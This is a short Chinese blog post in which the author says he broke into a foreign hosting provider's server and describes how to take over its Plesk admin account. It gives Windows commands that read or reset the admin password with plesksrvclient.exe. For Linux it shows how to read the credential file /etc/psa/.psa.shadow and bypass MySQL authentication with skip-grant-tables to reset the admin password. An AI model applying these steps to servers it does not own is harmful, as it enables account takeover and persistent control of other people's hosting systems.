重置Plesk的Admin帳號密碼提權
前幾天提權了個國外的空間商服務器,裝的是plesk主機管理系統,以前就知道可以在服務器上直接找回密碼,順手弄了一下,找到了方案,完了直接在IP后面加上8443訪問,當然以SSL方式訪問哦!
說下Windows 和Linux下的兩種方案吧!
登陸到windows,運行如下命令:
C:\Program Files\Swsoft\Plesk\admin\bin\plesksrvclient.exe
即可。
也可以采用命令行方式:
plesksrvclient.exe -get 獲取當前密碼
plesksrvclient.exe -set 123456 設置新密碼為123456
登陸到linux,運行cat /etc/psa/.psa.shadow可以查看到當前密碼
重置密碼方法
1.編輯/etc/my.cnf
在[mysqld]項下加入skip-grant-tables
重啟mysql,執行/etc/init.d/mysqld restart
2.運行/usr/bin/mysql -D mysql -e”update user set password=PASSWORD(‘`cat /etc/psa/.psa.shadow`’) where User=’admin’;”
重置成當前.psa.shadow中的密碼。
3.去除skip-grant-tables,重啟mysql,完成。